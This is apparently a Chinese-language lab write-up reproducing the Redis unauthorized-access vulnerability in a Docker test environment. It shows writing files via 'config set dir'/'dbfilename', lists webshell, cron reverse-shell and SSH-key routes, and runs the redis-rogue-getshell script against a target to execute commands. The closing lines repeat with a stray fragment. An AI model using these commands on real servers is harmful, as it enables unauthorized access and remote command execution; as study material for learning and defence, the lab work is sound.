Redis未授权访问漏洞复现

Redis未授权访问漏洞复现

Redis 介绍:

Redis 是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据。

Redis 数据库经常用于Web 应用的缓存。

Redis 可以与文件系统进行交互。

Redis 监听TCP/6379。

漏洞复现:

启动漏洞环境:

sudo docker-compose up -d

image-20230901204346675

redis-cli -h 127.0.0.1 # redis数据库连接redis的客户端,127.0.0.1 表示连接本机

image-20230901205226530

我们发现直接进来了,说明存在未授权访问漏洞。

info #查看服务器信息

image-20230901205417311

redis 是以键值对的方式存储数据的:

set name GEHUi # name为键(key),GEHUI为值(value)
get name #获取name的值

image-20230901211417110

condig set dir /tmp/ #设定目录
config set dbfilename gehui.txt #设定数据库文件名为gehui.txt
save #将数据库的内容存储在/tmp/gehui.txt中

image-20230901212439025

sudo docker exec -it 780fea38003b /bin/bash  #登录到redis容器中

image-20230901212424058

在容器中查看有没有gehui.txt文件

image-20230901212743307

我们查看到有gehui.txt文件,并且有我们写入的name和GEHUI,说明我们登录进redis数据库,能够读并且写文件,说明存在未授权访问漏洞。如果一个服务器开了redis数据库,那么就会造成数据库信息内容泄露(脱库)。

Redis 未授权访问

读取数据库内容读写系统文件执行系统命令
数据泄露直接写WebShell
计划任务反弹Shell
SSH免密登录
redis-rogue-getshell

克隆this script 脚本 到本地,下载时需要挂代理。

proxychains git clone https://github.com/vulhub/redis-rogue-getshell.git 

如何使用:

cd /home/kali/tools/redis-rogue-getshell/RedisModulesSDK/
make

在这里插入图片描述

#执行id命令:
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"

在这里插入图片描述

#执行whoami命令
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "whoami"

在这里插入图片描述

像上面这样我们就可以对未授权访问漏洞进行利用了。

如何验证这个未授权访问漏洞:

这里要用到一个工具:未授权访问漏洞验证工具

)]

像上面这样我们就可以对未授权访问漏洞进行利用了。

如何验证这个未授权访问漏洞:

这里推荐一个工具:未授权访问漏洞验证工具